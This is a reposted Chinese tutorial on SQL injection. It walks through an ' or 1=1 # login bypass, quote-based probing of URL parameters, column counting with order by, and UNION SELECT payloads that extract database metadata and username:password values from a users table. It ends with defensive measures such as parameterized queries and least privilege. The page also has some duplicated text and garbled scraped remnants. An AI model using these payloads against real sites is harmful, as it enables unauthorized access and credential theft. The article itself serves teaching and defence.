今天就跟大家聊聊有关怎么实现sql注入,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。什么是SQL注入SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。Sql
今天就跟大家聊聊有关怎么实现sql注入,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。
我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。
登录案例讲解
select * from admin where uname='用户名' and pwd='密码'
输入 'or 1=1 #(–空格或–+或#:注释掉后面的sql语句)
这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码'
,这时SQL语句永远成立,绕过登录。
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。
可登陆到mituan.zone进行测试
' '1'' LIMIT 0,1
' :多了一个单引号
可猜测SQL语句为:select login_name,passWord from admin where id = 'id' limit 0,1
' ' LIMIT 0,1
':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1
' '1'') LIMIT 0,1
':多了一个单引号
可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1
单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1
':多了一个双引号
可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1
…
利用order by判断字段数
order by n(n为猜测字段数)--+
以案例一为例
select login_name,password from admin where id = 'id' limit 0,1用?id=1' order by 11--+
猜测错误时则会报错
此时探测到有3个字段,用?id=0' uNIOn select 1,2,3--+
探测到Login_name在第二列,Password在第三列,则第二、三列可利用。
将?id=0' union select 1,2,3--+
2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用Mysql数据库名,version():查看当前mysql版本,如改为?id=0'union select 1,user(),database()--+
得到下图中信息
利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)
union select 1,group_concat(table_name),3 from infORMation_schema.tables where table_schema=database()--+
利用union select 联合查询,获取字段名。(以上面查询到的users表为例)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
利用union select 联合查询,获取字段值。(以上面查询到的users表为例)
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)
如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句
这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据
对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
看完上述内容,你们对怎么实现SQL注入有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注编程网精选频道,感谢大家的支持。
--结束END--
本文标题: 怎么实现SQL注入
本文链接: https://lsjlt.com/news/278874.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0